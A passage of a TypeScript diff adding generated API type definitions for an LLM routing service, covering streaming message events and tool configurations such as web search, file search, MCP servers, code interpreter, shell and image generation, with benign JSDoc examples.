{"message":{"container":null,"content":[],"id":"msg_01XFDUDYJgAACzvnptvVoYEL","model":"claude-sonnet-4-5-20250929","role":"assistant","stop_details":null,"stop_reason":null,"stop_sequence":null,"type":"message","usage":{"cache_creation":null,"cache_creation_input_tokens":null,"cache_read_input_tokens":null,"inference_geo":null,"input_tokens":12,"output_tokens":0,"output_tokens_details":null,"server_tool_use":null,"service_tier":"standard"}},"type":"message_start"} + * @type object + */ +export type MessagesStartEvent = { + message: { + /** + * @example {"expires_at":"2026-04-08T00:00:00Z","id":"ctr_01abc","skills":null} + * @type object + */ + container: AnthropicContainer | null + content: ORAnthropicContentBlock[] + id: string + input_transformations?: AnthropicInputTransformation[] | null + model: string + provider?: MessagesStartEventMessageProviderEnumKey + role: 'assistant' + /** + * @description Structured information about a refusal + * @example {"category":"cyber","explanation":"The request was refused due to policy.","type":"refusal"} + * @type object + */ + stop_details: AnthropicRefusalStopDetails | null + stop_reason: unknown + stop_sequence: unknown + type: 'message' + /** + * @example {"cache_creation":{"ephemeral_1h_input_tokens":0,"ephemeral_5m_input_tokens":7381},"cache_creation_input_tokens":7381,"cache_read_input_tokens":0,"inference_geo":null,"input_tokens":100,"output_tokens":1,"output_tokens_details":null,"server_tool_use":null,"service_tier":"standard"} + */ + usage: AnthropicUsage & { + iterations?: AnthropicUsageIteration[] + /** + * @example standard + * @type string | undefined + */ + speed?: AnthropicSpeedKey | null + } + } + type: 'message_start' +} + +/** + * @description Event sent when the message is complete + * @example {"type":"message_stop"} + * @type object + */ +export type MessagesStopEvent = { + /** + * @example {"attempt":1,"endpoints":{"available":[{"model":"openai/gpt-4o","provider":"OpenAI","selected":true}],"total":1},"generation_time":2016,"is_byok":false,"region":"iad","requested":"openai/gpt-4o","strategy":"direct","summary":"available=1, selected=OpenAI"} + * @type object | undefined + */ + openrouter_metadata?: OpenRouterMetadata + type: 'message_stop' +} + +/** + * @description Union of all possible streaming events + * @example {"delta":{"text":"Hello","type":"text_delta"},"index":0,"type":"content_block_delta"} + */ +export type MessagesStreamEvents = + | (MessagesStartEvent & { + type: 'message_start' + }) + | (MessagesDeltaEvent & { + type: 'message_delta' + }) + | (MessagesStopEvent & { + type: 'message_stop' + }) + | (MessagesContentBlockStartEvent & { + type: 'content_block_start' + }) + | (MessagesContentBlockDeltaEvent & { + type: 'content_block_delta' + }) + | (MessagesContentBlockStopEvent & { + type: 'content_block_stop' + }) + | (MessagesPingEvent & { + type: 'ping' + }) + | (MessagesErrorEvent & { + type: 'error' + }) + +/** + * @description Function tool definition + * @example {"description":"Get the current weather in a location","name":"get_weather","parameters":{"properties":{"location":{"description":"The city and state","type":"string"},"unit":{"enum":["celsius","fahrenheit"],"type":"string","x-speakeasy-unknown-values":"allow"}},"required":["location"],"type":"object"},"type":"function"} + * @type object + */ +export type FunctionTool = { + description?: string | null + name: string + parameters: { + [key: string]: unknown + } | null + strict?: boolean | null + type: 'function' +} + +/** + * @example {"allowed_domains":["example.com"],"blocked_domains":["spam.com"],"excluded_domains":["spam.com"]} + * @type object + */ +export type WebSearchDomainFilter = { + allowed_domains?: string[] | null + blocked_domains?: string[] | null + excluded_domains?: string[] | null +} | null + +export const searchContextSizeEnum = { + low: 'low', + medium: 'medium', + high: 'high', +} as const + +export type SearchContextSizeEnumKey = + (typeof searchContextSizeEnum)[keyof typeof searchContextSizeEnum] + +/** + * @example {"city":"San Francisco","country":"USA","region":"California","timezone":"America/Los_Angeles","type":"approximate"} + * @type object + */ +export type PreviewWebSearchUserLocation = { + city?: string | null + country?: string | null + region?: string | null + timezone?: string | null + type: 'approximate' +} | null + +/** + * @description Web search preview tool configuration + * @example {"type":"web_search_preview"} + * @type object + */ +export type PreviewWebSearchServerTool = { + /** + * @description Which search engine to use. "auto" (default) uses native if the provider supports it, otherwise Exa. "native" forces the provider's built-in search. "exa" forces the Exa search API. "firecrawl" uses the Firecrawl search API. "parallel" uses the Parallel search API. "perplexity" uses the Perplexity Search API (raw ranked results). + * @example auto + * @type string | undefined + */ + engine?: WebSearchEngineEnumKey + /** + * @example {"allowed_domains":["example.com"],"blocked_domains":["spam.com"],"excluded_domains":["spam.com"]} + * @type object | undefined + */ + filters?: WebSearchDomainFilter | null + /** + * @description Maximum number of search results to return per search call. Defaults to 5. Applies to Exa, Firecrawl, Parallel, and Perplexity engines; ignored with native provider search. Perplexity supports a maximum of 20; values above 20 are clamped. + * @example 5 + * @type integer | undefined + */ + max_results?: number + /** + * @description Maximum number of web searches the model may perform in a single request. Once reached, further search calls return an error result instead of executing. Applies to the Exa, Firecrawl, Parallel, and Perplexity engines. With native provider search, forwarded only to Anthropic (as `max_uses`); other native search providers have no equivalent parameter and ignore it. + * @example 3 + * @type integer | undefined + */ + max_uses?: number + /** + * @description Engine-native search mode. Exa supports instant, fast, auto (default), deep-lite, deep, and deep-reasoning. Parallel supports turbo, fast, basic (default), and advanced. Modes unsupported by the selected engine are ignored. + * @example auto + * @type string | undefined + */ + mode?: WebSearchModeKey + /** + * @description Size of the search context for web search tools + * @example medium + * @type string | undefined + */ + search_context_size?: SearchContextSizeEnumKey + type: 'web_search_preview' + /** + * @example {"city":"San Francisco","country":"USA","region":"California","timezone":"America/Los_Angeles","type":"approximate"} + * @type object | undefined + */ + user_location?: PreviewWebSearchUserLocation | null + /** + * @description Enable SpaceXAI X (Twitter) search alongside native web search, with optional filters. Only applies to SpaceXAI endpoints with native search; omit to search the web only. X search is billed separately by SpaceXAI, per post and per user profile fetched. + * @example {"allowed_x_handles":["OpenRouterAI"],"from_date":"2025-01-01"} + * @type object | undefined + */ + x_search?: XSearchOptions +} + +/** + * @description Web search preview tool configuration (2025-03-11 version) + * @example {"type":"web_search_preview_2025_03_11"} + * @type object + */ +export type Preview20250311WebSearchServerTool = { + /** + * @description Which search engine to use. "auto" (default) uses native if the provider supports it, otherwise Exa. "native" forces the provider's built-in search. "exa" forces the Exa search API. "firecrawl" uses the Firecrawl search API. "parallel" uses the Parallel search API. "perplexity" uses the Perplexity Search API (raw ranked results). + * @example auto + * @type string | undefined + */ + engine?: WebSearchEngineEnumKey + /** + * @example {"allowed_domains":["example.com"],"blocked_domains":["spam.com"],"excluded_domains":["spam.com"]} + * @type object | undefined + */ + filters?: WebSearchDomainFilter | null + /** + * @description Maximum number of search results to return per search call. Defaults to 5. Applies to Exa, Firecrawl, Parallel, and Perplexity engines; ignored with native provider search. Perplexity supports a maximum of 20; values above 20 are clamped. + * @example 5 + * @type integer | undefined + */ + max_results?: number + /** + * @description Maximum number of web searches the model may perform in a single request. Once reached, further search calls return an error result instead of executing. Applies to the Exa, Firecrawl, Parallel, and Perplexity engines. With native provider search, forwarded only to Anthropic (as `max_uses`); other native search providers have no equivalent parameter and ignore it. + * @example 3 + * @type integer | undefined + */ + max_uses?: number + /** + * @description Engine-native search mode. Exa supports instant, fast, auto (default), deep-lite, deep, and deep-reasoning. Parallel supports turbo, fast, basic (default), and advanced. Modes unsupported by the selected engine are ignored. + * @example auto + * @type string | undefined + */ + mode?: WebSearchModeKey + /** + * @description Size of the search context for web search tools + * @example medium + * @type string | undefined + */ + search_context_size?: SearchContextSizeEnumKey + type: 'web_search_preview_2025_03_11' + /** + * @example {"city":"San Francisco","country":"USA","region":"California","timezone":"America/Los_Angeles","type":"approximate"} + * @type object | undefined + */ + user_location?: PreviewWebSearchUserLocation | null + /** + * @description Enable SpaceXAI X (Twitter) search alongside native web search, with optional filters. Only applies to SpaceXAI endpoints with native search; omit to search the web only. X search is billed separately by SpaceXAI, per post and per user profile fetched. + * @example {"allowed_x_handles":["OpenRouterAI"],"from_date":"2025-01-01"} + * @type object | undefined + */ + x_search?: XSearchOptions +} + +/** + * @description Web search tool configuration + * @example {"engine":"auto","filters":{"allowed_domains":["example.com"]},"type":"web_search"} + * @type object + */ +export type LegacyWebSearchServerTool = { + /** + * @description Which search engine to use. "auto" (default) uses native if the provider supports it, otherwise Exa. "native" forces the provider's built-in search. "exa" forces the Exa search API. "firecrawl" uses the Firecrawl search API. "parallel" uses the Parallel search API. "perplexity" uses the Perplexity Search API (raw ranked results). + * @example auto + * @type string | undefined + */ + engine?: WebSearchEngineEnumKey + /** + * @example {"allowed_domains":["example.com"],"blocked_domains":["spam.com"],"excluded_domains":["spam.com"]} + * @type object | undefined + */ + filters?: WebSearchDomainFilter | null + /** + * @description Maximum number of search results to return per search call. Defaults to 5. Applies to Exa, Firecrawl, Parallel, and Perplexity engines; ignored with native provider search. Perplexity supports a maximum of 20; values above 20 are clamped. + * @example 5 + * @type integer | undefined + */ + max_results?: number + /** + * @description Maximum number of web searches the model may perform in a single request. Once reached, further search calls return an error result instead of executing. Applies to the Exa, Firecrawl, Parallel, and Perplexity engines. With native provider search, forwarded only to Anthropic (as `max_uses`); other native search providers have no equivalent parameter and ignore it. + * @example 3 + * @type integer | undefined + */ + max_uses?: number + /** + * @description Engine-native search mode. Exa supports instant, fast, auto (default), deep-lite, deep, and deep-reasoning. Parallel supports turbo, fast, basic (default), and advanced. Modes unsupported by the selected engine are ignored. + * @example auto + * @type string | undefined + */ + mode?: WebSearchModeKey + /** + * @description Size of the search context for web search tools + * @example medium + * @type string | undefined + */ + search_context_size?: SearchContextSizeEnumKey + type: 'web_search' + /** + * @description User location information for web search + * @example {"city":"San Francisco","country":"USA","region":"California","timezone":"America/Los_Angeles","type":"approximate"} + * @type object | undefined + */ + user_location?: WebSearchUserLocation | null + /** + * @description Enable SpaceXAI X (Twitter) search alongside native web search, with optional filters. Only applies to SpaceXAI endpoints with native search; omit to search the web only. X search is billed separately by SpaceXAI, per post and per user profile fetched. + * @example {"allowed_x_handles":["OpenRouterAI"],"from_date":"2025-01-01"} + * @type object | undefined + */ + x_search?: XSearchOptions +} + +/** + * @description Web search tool configuration (2025-08-26 version) + * @example {"engine":"auto","filters":{"allowed_domains":["example.com"]},"type":"web_search_2025_08_26"} + * @type object + */ +export type WebSearchServerTool = { + /** + * @description Which search engine to use. "auto" (default) uses native if the provider supports it, otherwise Exa. "native" forces the provider's built-in search. "exa" forces the Exa search API. "firecrawl" uses the Firecrawl search API. "parallel" uses the Parallel search API. "perplexity" uses the Perplexity Search API (raw ranked results). + * @example auto + * @type string | undefined + */ + engine?: WebSearchEngineEnumKey + /** + * @example {"allowed_domains":["example.com"],"blocked_domains":["spam.com"],"excluded_domains":["spam.com"]} + * @type object | undefined + */ + filters?: WebSearchDomainFilter | null + /** + * @description Maximum number of search results to return per search call. Defaults to 5. Applies to Exa, Firecrawl, Parallel, and Perplexity engines; ignored with native provider search. Perplexity supports a maximum of 20; values above 20 are clamped. + * @example 5 + * @type integer | undefined + */ + max_results?: number + /** + * @description Maximum number of web searches the model may perform in a single request. Once reached, further search calls return an error result instead of executing. Applies to the Exa, Firecrawl, Parallel, and Perplexity engines. With native provider search, forwarded only to Anthropic (as `max_uses`); other native search providers have no equivalent parameter and ignore it. + * @example 3 + * @type integer | undefined + */ + max_uses?: number + /** + * @description Engine-native search mode. Exa supports instant, fast, auto (default), deep-lite, deep, and deep-reasoning. Parallel supports turbo, fast, basic (default), and advanced. Modes unsupported by the selected engine are ignored. + * @example auto + * @type string | undefined + */ + mode?: WebSearchModeKey + /** + * @description Size of the search context for web search tools + * @example medium + * @type string | undefined + */ + search_context_size?: SearchContextSizeEnumKey + type: 'web_search_2025_08_26' + /** + * @description User location information for web search + * @example {"city":"San Francisco","country":"USA","region":"California","timezone":"America/Los_Angeles","type":"approximate"} + * @type object | undefined + */ + user_location?: WebSearchUserLocation | null + /** + * @description Enable SpaceXAI X (Twitter) search alongside native web search, with optional filters. Only applies to SpaceXAI endpoints with native search; omit to search the web only. X search is billed separately by SpaceXAI, per post and per user profile fetched. + * @example {"allowed_x_handles":["OpenRouterAI"],"from_date":"2025-01-01"} + * @type object | undefined + */ + x_search?: XSearchOptions +} + +export const compoundFilterTypeEnum = { + and: 'and', + or: 'or', +} as const + +export type CompoundFilterTypeEnumKey = + (typeof compoundFilterTypeEnum)[keyof typeof compoundFilterTypeEnum] + +/** + * @description A compound filter that combines multiple comparison or compound filters + * @example {"filters":[{"key":"author","type":"eq","value":"Alice"}],"type":"and"} + * @type object + */ +export type CompoundFilter = { + filters: { + [key: string]: unknown + }[] + type: CompoundFilterTypeEnumKey +} + +export const fileSearchServerToolFiltersTypeEnum = { + eq: 'eq', + ne: 'ne', + gt: 'gt', + gte: 'gte', + lt: 'lt', + lte: 'lte', +} as const + +export type FileSearchServerToolFiltersTypeEnumKey = + (typeof fileSearchServerToolFiltersTypeEnum)[keyof typeof fileSearchServerToolFiltersTypeEnum] + +export const fileSearchServerToolRankingOptionsRankerEnum = { + auto: 'auto', + 'default-2024-11-15': 'default-2024-11-15', +} as const + +export type FileSearchServerToolRankingOptionsRankerEnumKey = + (typeof fileSearchServerToolRankingOptionsRankerEnum)[keyof typeof fileSearchServerToolRankingOptionsRankerEnum] + +/** + * @description File search tool configuration + * @example {"type":"file_search","vector_store_ids":["vs_abc123"]} + * @type object + */ +export type FileSearchServerTool = { + filters?: + | { + key: string + type: FileSearchServerToolFiltersTypeEnumKey + value: string | number | boolean | (string | number)[] + } + | CompoundFilter + | null + max_num_results?: number + ranking_options?: { + ranker?: FileSearchServerToolRankingOptionsRankerEnumKey + /** + * @description + * Format: `double` + * @type number | undefined + */ + score_threshold?: number + } + type: 'file_search' + vector_store_ids: string[] +} + +export const computerUseServerToolEnvironmentEnum = { + windows: 'windows', + mac: 'mac', + linux: 'linux', + ubuntu: 'ubuntu', + browser: 'browser', +} as const + +export type ComputerUseServerToolEnvironmentEnumKey = + (typeof computerUseServerToolEnvironmentEnum)[keyof typeof computerUseServerToolEnvironmentEnum] + +/** + * @description Computer use preview tool configuration + * @example {"display_height":768,"display_width":1024,"environment":"linux","type":"computer_use_preview"} + * @type object + */ +export type ComputerUseServerTool = { + display_height: number + display_width: number + environment: ComputerUseServerToolEnvironmentEnumKey + type: 'computer_use_preview' +} + +export const codeInterpreterServerToolContainerMemoryLimitEnum = { + '1g': '1g', + '4g': '4g', + '16g': '16g', + '64g': '64g', +} as const + +export type CodeInterpreterServerToolContainerMemoryLimitEnumKey = + (typeof codeInterpreterServerToolContainerMemoryLimitEnum)[keyof typeof codeInterpreterServerToolContainerMemoryLimitEnum] + +/** + * @description Code interpreter tool configuration + * @example {"container":"auto","type":"code_interpreter"} + * @type object + */ +export type CodeInterpreterServerTool = { + container: + | string + | { + file_ids?: string[] + memory_limit?: CodeInterpreterServerToolContainerMemoryLimitEnumKey | null + type: 'auto' + } + type: 'code_interpreter' +} + +/** + * @description MCP (Model Context Protocol) tool configuration + * @example {"server_label":"my-server","server_url":"https://example.com/mcp","type":"mcp"} + * @type object + */ +export type McpServerTool = { + allowed_tools?: + | string[] + | { + read_only?: boolean + tool_names?: string[] + [key: string]: unknown + } + | null + authorization?: string + connector_id?: string + headers?: { + [key: string]: string + } | null + require_approval?: + | { + always?: { + read_only?: boolean + tool_names?: string[] + [key: string]: unknown + } + never?: { + read_only?: boolean + tool_names?: string[] + [key: string]: unknown + } + [key: string]: unknown + } + | 'always' + | 'never' + | null + server_description?: string + server_label: string + server_url?: string + type: 'mcp' + [key: string]: unknown +} + +export const imageGenerationServerToolBackgroundEnum = { + transparent: 'transparent', + opaque: 'opaque', + auto: 'auto', +} as const + +export type ImageGenerationServerToolBackgroundEnumKey = + (typeof imageGenerationServerToolBackgroundEnum)[keyof typeof imageGenerationServerToolBackgroundEnum] + +export const imageGenerationServerToolInputFidelityEnum = { + high: 'high', + low: 'low', +} as const + +export type ImageGenerationServerToolInputFidelityEnumKey = + (typeof imageGenerationServerToolInputFidelityEnum)[keyof typeof imageGenerationServerToolInputFidelityEnum] + +export const imageGenerationServerToolModerationEnum = { + auto: 'auto', + low: 'low', +} as const + +export type ImageGenerationServerToolModerationEnumKey = + (typeof imageGenerationServerToolModerationEnum)[keyof typeof imageGenerationServerToolModerationEnum] + +export const imageGenerationServerToolOutputFormatEnum = { + png: 'png', + webp: 'webp', + jpeg: 'jpeg', +} as const + +export type ImageGenerationServerToolOutputFormatEnumKey = + (typeof imageGenerationServerToolOutputFormatEnum)[keyof typeof imageGenerationServerToolOutputFormatEnum] + +export const imageGenerationServerToolQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + auto: 'auto', +} as const + +export type ImageGenerationServerToolQualityEnumKey = + (typeof imageGenerationServerToolQualityEnum)[keyof typeof imageGenerationServerToolQualityEnum] + +/** + * @description Image generation tool configuration + * @example {"quality":"high","type":"image_generation"} + * @type object + */ +export type ImageGenerationServerTool = { + background?: ImageGenerationServerToolBackgroundEnumKey + input_fidelity?: ImageGenerationServerToolInputFidelityEnumKey | null + input_image_mask?: { + file_id?: string + image_url?: string + } + model?: string + moderation?: ImageGenerationServerToolModerationEnumKey + output_compression?: number + output_format?: ImageGenerationServerToolOutputFormatEnumKey + partial_images?: number + quality?: ImageGenerationServerToolQualityEnumKey + size?: string + type: 'image_generation' +} + +/** + * @description Local shell tool configuration + * @example {"type":"local_shell"} + * @type object + */ +export type CodexLocalShellTool = { + type: 'local_shell' +} + +/** + * @description Shell tool configuration + * @example {"type":"shell"} + * @type object + */ +export type ShellServerTool = { + type: 'shell' +} + +/** + * @description Apply patch tool configuration + * @example {"type":"apply_patch"} + * @type object + */ +export type ApplyPatchServerTool = { + type: 'apply_patch' +} + +export const customToolFormatSyntaxEnum = { + lark: 'lark', + regex: 'regex', +} as const + +export type CustomToolFormatSyntaxEnumKey = + (typeof customToolFormatSyntaxEnum)[keyof typeof customToolFormatSyntaxEnum] + +/** + * @description Custom tool configuration + * @example {"name":"my_tool","type":"custom"} + * @type object + */ +export type CustomTool = { + /** + * @description Lets the model keep working after calling this tool instead of waiting for its output. The tool is still executed by the client; return the result in a later request as a `function_call_output` with the original `call_id`. Only honored by providers whose Responses API supports async tools; ignored elsewhere. + * @example true + * @type boolean | undefined + */ + async?: boolean + defer_loading?: boolean + description?: string + format?: + | { + type: 'text' + } + | { + definition: string + syntax: CustomToolFormatSyntaxEnumKey + type: 'grammar' + } + name: string + type: 'custom' +} + +export const namespaceFunctionToolAllowedCallersEnum = { + direct: 'direct', + programmatic: 'programmatic', +} as const + +export type NamespaceFunctionToolAllowedCallersEnumKey = + (typeof namespaceFunctionToolAllowedCallersEnum)[keyof typeof namespaceFunctionToolAllowedCallersEnum] + +/** + * @description A function tool grouped inside a namespace tool + * @example {"name":"spawn_agent","type":"function"} + * @type object + */ +export type NamespaceFunctionTool = { + allowed_callers?: NamespaceFunctionToolAllowedCallersEnumKey[] | null + /** + * @description Lets the model keep working after calling this tool instead of waiting for its output. The tool is still executed by the client; return the result in a later request as a `function_call_output` with the original `call_id`. Only honored by providers whose Responses API supports async tools; ignored elsewhere. + * @example true + * @type boolean | undefined + */ + async?: boolean + defer_loading?: boolean + description?: string | null + name: string + output_schema?: { + [key: string]: unknown + } | null + parameters?: { + [key: string]: unknown + } | null + strict?: boolean | null + type: 'function' +} + +/** + * @description Groups function/custom tools under a shared namespace + * @example {"description":"Tools for spawning and managing sub-agents.","name":"multi_agent_v1","tools":[{"name":"spawn_agent","type":"function"}],"type":"namespace"} + * @type object + */ +export type NamespaceTool = { + description: string + name: string + tools: (NamespaceFunctionTool | CustomTool)[] + type: 'namespace' +} + +/** + * @description OpenRouter built-in server tool: searches and filters AI models available on OpenRouter + * @example {"parameters":{"max_results":5},"type":"openrouter:experimental__search_models"} + * @type object + */ +export type SearchModelsServerToolOpenRouter = { + /** + * @description Configuration for the openrouter:experimental__search_models server tool + * @example {"max_results":5} + * @type object | undefined + */ + parameters?: SearchModelsServerToolConfig + type: 'openrouter:experimental__search_models' +} + +/** + * @description Configuration for the openrouter:web_search server tool + * @example {"max_results":5,"search_context_size":"medium"} + * @type object + */ +export type WebSearchServerToolConfig = { + /** + * @description Limit search results to these domains. Supported by Exa, Firecrawl, Parallel, Perplexity, and most native providers (Anthropic, OpenAI, SpaceXAI). Cannot be used with excluded_domains. + * @type array | undefined + */ + allowed_domains?: string[] + /** + * @description Which search engine to use. "auto" (default) uses native if the provider supports it, otherwise Exa. "native" forces the provider's built-in search. "exa" forces the Exa search API. "firecrawl" uses the Firecrawl search API. "parallel" uses the Parallel search API. "perplexity" uses the Perplexity Search API (raw ranked results). + * @example auto + * @type string | undefined + */ + engine?: WebSearchEngineEnumKey + /** + * @description Exclude search results from these domains. Supported by Exa, Firecrawl, Parallel, Perplexity, Anthropic, OpenAI, and SpaceXAI. Cannot be used with allowed_domains. + * @type array | undefined + */ + excluded_domains?: string[] + /** + * @description Exact maximum number of characters of content per search result. Applies to the Exa, Parallel, and Perplexity engines; ignored with native provider search and Firecrawl. For Exa, caps highlight content per result. For Parallel, caps excerpt content per result (default 1,500 when omitted). For Perplexity, maps to the native `max_tokens_per_page` parameter (converted from characters to tokens) and trims the response to the exact character cap. When both `max_characters` and `search_context_size` are set, `max_characters` takes precedence. When omitted, falls back to `search_context_size` mapping (Exa) or engine defaults (Parallel, Perplexity). + * @example 2000 + * @type integer | undefined + */ + max_characters?: number + /** + * @description Maximum number of search results to return per search call. Defaults to 5. Applies to Exa, Firecrawl, Parallel, and Perplexity engines; ignored with native provider search. Perplexity supports a maximum of 20; values above 20 are clamped. + * @example 5 + * @type integer | undefined + */ + max_results?: number + /** + * @description Maximum total number of search results across all search calls in a single request. Once this limit is reached, the tool will stop returning new results. Useful for controlling cost and context size in agentic loops. Defaults to 50 when not specified. + * @example 50 + * @type integer | undefined + */ + max_total_results?: number + /** + * @description Maximum number of web searches the model may perform in a single request. Once reached, further search calls return an error result instead of executing. Applies to the Exa, Firecrawl, Parallel, and Perplexity engines. With native provider search, forwarded only to Anthropic (as `max_uses`); other native search providers have no equivalent parameter and ignore it. + * @example 3 + * @type integer | undefined + */ + max_uses?: number + /** + * @description Engine-native search mode. Exa supports instant, fast, auto (default), deep-lite, deep, and deep-reasoning. Parallel supports turbo, fast, basic (default), and advanced. Modes unsupported by the selected engine are ignored. + * @example auto + * @type string | undefined + */ + mode?: WebSearchModeKey + /** + * @description How much context to retrieve per result. Applies to Exa, Parallel, and Perplexity engines; ignored with native provider search and Firecrawl. For Exa, pins a fixed per-result character cap (low=5,000, medium=15,000, high=30,000); when omitted, Exa picks an adaptive size per query and document (typically ~2,000–4,000 characters per result). For Parallel, controls the total characters across all results; when omitted, Parallel uses its own default size. For Perplexity, maps directly to the Search API's native search_context_size parameter. Overridden by `max_characters` when both are set. + * @example medium + * @type string | undefined + */ + search_context_size?: SearchQualityLevelKey + /** + * @description Approximate user location for location-biased results. + * @example {"city":"San Francisco","country":"US","region":"California","timezone":"America/Los_Angeles","type":"approximate"} + * @type object | undefined + */ + user_location?: WebSearchUserLocationServerTool + /** + * @description Enable SpaceXAI X (Twitter) search alongside native web search, with optional filters. Only applies to SpaceXAI endpoints with native search; omit to search the web only. X search is billed separately by SpaceXAI, per post and per user profile fetched. + * @example {"allowed_x_handles":["OpenRouterAI"],"from_date":"2025-01-01"} + * @type object | undefined + */ + x_search?: XSearchOptions +} + +/** + * @description OpenRouter built-in server tool: searches the web for current information + * @example {"parameters":{"max_results":5},"type":"openrouter:web_search"} + * @type object + */ +export type WebSearchServerToolOpenRouter = { + /** + * @description Configuration for the openrouter:web_search server tool + * @example {"max_results":5,"search_context_size":"medium"} + * @type object | undefined + */ + parameters?: WebSearchServerToolConfig + type: 'openrouter:web_search' +} + +export const applyPatchEngineEnum = { + auto: 'auto', + native: 'native', + openrouter: 'openrouter', +} as const + +export type ApplyPatchEngineEnumKey = + (typeof applyPatchEngineEnum)[keyof typeof applyPatchEngineEnum] + +/** + * @description Configuration for the openrouter:apply_patch server tool + * @example {"engine":"auto"} + * @type object + */ +export type ApplyPatchServerToolConfig = { + /** + * @description Which apply_patch engine to use. "auto" (default) uses native passthrough when the endpoint advertises native apply_patch support, otherwise falls back to OpenRouter's HITL validator. "native" forces native passthrough — when the endpoint does not support native, the request falls back to HITL. "openrouter" always runs the HITL validator. Native passthrough streams the diff incrementally via `apply_patch_call_operation_diff.delta` events; HITL buffers the diff for atomic delivery as a single delta. + * @example auto + * @type string | undefined + */ + engine?: ApplyPatchEngineEnumKey +} + +/** + * @description OpenRouter built-in server tool: validates V4A diff patches for file operations (create, update, delete). Restricted to the Responses API. + * @example {"type":"openrouter:apply_patch"} + * @type object + */ +export type ApplyPatchServerToolOpenRouter = { + /** + * @description Configuration for the openrouter:apply_patch server tool + * @example {"engine":"auto"} + * @type object | undefined + */ + parameters?: ApplyPatchServerToolConfig + type: 'openrouter:apply_patch' +} + +/** + * @description Configuration for a remote MCP server tool. + * @example {"server_label":"huggingface","server_url":"https://huggingface.co/mcp"} + * @type object + */ +export type McpServerToolParameters = { + /** + * @description Restrict the tools exposed to the model to this list or filter. + */ + allowed_tools?: + | string[] + | { + read_only?: boolean + tool_names?: string[] + [key: string]: unknown + } + | null + /** + * @description OAuth access token sent as the Authorization bearer to the server. + * @type string | undefined + */ + authorization?: string + /** + * @description Provider-defined connector identifier, forwarded as written to providers that run MCP themselves. + * @type string | undefined + */ + connector_id?: string + /** + * @description Extra headers sent on every request to the server. + * @type object | undefined + */ + headers?: { + [key: string]: string + } | null + /** + * @description Approval policy for tool calls. Defaults to always: a call that needs approval ends the response with an mcp_approval_request item, answered with an mcp_approval_response on the next request. + */ + require_approval?: + | { + always?: { + read_only?: boolean + tool_names?: string[] + [key: string]: unknown + } + never?: { + read_only?: boolean + tool_names?: string[] + [key: string]: unknown + } + [key: string]: unknown + } + | 'always' + | 'never' + | null + /** + * @description Extra context about the server, shown to the model. + * @type string | undefined + */ + server_description?: string + /** + * @description Label for this MCP server, used in mcp_list_tools and mcp_call items. + * @example huggingface + * @type string + */ + server_label: string + /** + * @description URL of the remote MCP server (streamable HTTP). + * @example https://huggingface.co/mcp + * @type string | undefined + */ + server_url?: string +} + +/** + * @description OpenRouter built-in server tool: connects the model to a remote MCP server and runs its tools during the response + * @example {"parameters":{"server_label":"huggingface","server_url":"https://huggingface.co/mcp"},"type":"openrouter:mcp"} + * @type object + */ +export type McpServerToolOpenRouter = { + /** + * @description Configuration for a remote MCP server tool. + * @example {"server_label":"huggingface","server_url":"https://huggingface.co/mcp"} + * @type object + */ + parameters: McpServerToolParameters + type: 'openrouter:mcp' +} + +export const additionalToolsItemRoleEnum = { + unknown: 'unknown', + user: 'user', + assistant: 'assistant', + system: 'system', + critic: 'critic', + discriminator: 'discriminator', + developer: 'developer', + tool: 'tool', +} as const + +export type AdditionalToolsItemRoleEnumKey = + (typeof additionalToolsItemRoleEnum)[keyof typeof additionalToolsItemRoleEnum] + +export const additionalToolsItemToolsAllowedCallersEnum = { + direct: 'direct', + programmatic: 'programmatic', +} as const + +export type AdditionalToolsItemToolsAllowedCallersEnumKey = + (typeof additionalToolsItemToolsAllowedCallersEnum)[keyof typeof additionalToolsItemToolsAllowedCallersEnum] + +/** + * @description Additional tools made available to the model at this point in the input + * @example {"role":"developer","tools":[{"name":"get_weather","parameters":{"properties":{"location":{"type":"string"}},"type":"object"},"type":"function"}],"type":"additional_tools"} + * @type object + */ +export type AdditionalToolsItem = { + id?: string | null + role: AdditionalToolsItemRoleEnumKey + tools: ( + | (FunctionTool & { + allowed_callers?: AdditionalToolsItemToolsAllowedCallersEnumKey[] | null + /** + * @description Lets the model keep working after calling this tool instead of waiting for its output. The tool is still executed by the client; return the result in a later request as a `function_call_output` with the original `call_id`. Only honored by providers whose Responses API supports async tools; ignored elsewhere. + * @example true + * @type boolean | undefined + */ + async?: boolean + /** + * @description Withhold this tool from the model until `openrouter:tool_search` finds it. Where the request declares no search tool, OpenRouter may add `openrouter:tool_search` to serve the flag, and otherwise sends the tool in full. A request that declares the search tool itself must keep at least one tool non-deferred. + * @example true + * @type boolean | undefined + */ + defer_loading?: boolean + output_schema?: { + [key: string]: unknown + } | null + }) + | PreviewWebSearchServerTool + | Preview20250311WebSearchServerTool + | LegacyWebSearchServerTool + | WebSearchServerTool + | FileSearchServerTool + | ComputerUseServerTool + | CodeInterpreterServerTool + | McpServerTool + | ImageGenerationServerTool + | CodexLocalShellTool + | ShellServerTool + | ApplyPatchServerTool + | CustomTool + | NamespaceTool + | AdvisorServerToolOpenRouter + | SubagentServerToolOpenRouter + | DatetimeServerTool + | FilesServerTool + | FusionServerToolOpenRouter + | ImageGenerationServerToolOpenRouter + | SearchModelsServerToolOpenRouter + | WebFetchServerTool + | WebSearchServerToolOpenRouter + | ApplyPatchServerToolOpenRouter + | BashServerTool + | ShellServerToolOpenRouter + | ToolSearchServerTool + | { + type: string + [key: string]: unknown + } + | McpServerToolOpenRouter + )[] + type: 'additional_tools' +} + +/** + * @description Text input content item + * @example {"text":"Hello, how can I help you?","type":"input_text"} + * @type object + */ +export type InputText = { + /** + * @description Marks an explicit prompt-cache boundary on this content block (OpenAI-style). Everything through the block carrying this marker is part of the candidate cached prefix. Supported natively by OpenAI GPT-5.6 and newer; on providers that use Anthropic-style `cache_control`, OpenRouter converts the marker to that format automatically. `ttl` ("30m" or "12h") overrides the request-level `prompt_cache_options.ttl` for this boundary; 12h writes bill at the higher cache-write rate. + * @example {"mode":"explicit","ttl":"30m"} + * @type object | undefined + */ + prompt_cache_breakpoint?: PromptCacheBreakpoint | null + text: string + type: 'input_text' +} + +export const inputImageDetailEnum = { + auto: 'auto', + high: 'high', + low: 'low', + original: 'original', +} as const + +export type InputImageDetailEnumKey = + (typeof inputImageDetailEnum)[keyof typeof inputImageDetailEnum] + +/** + * @description Image input content item. Provide either an image_url (a URL or a base64 data URL) or the file_id of an uploaded image. + * @example {"detail":"auto","image_url":"https://example.com/image.jpg","type":"input_image"} + * @type object + */ +export type InputImage = { + detail: InputImageDetailEnumKey + file_id?: string | null + 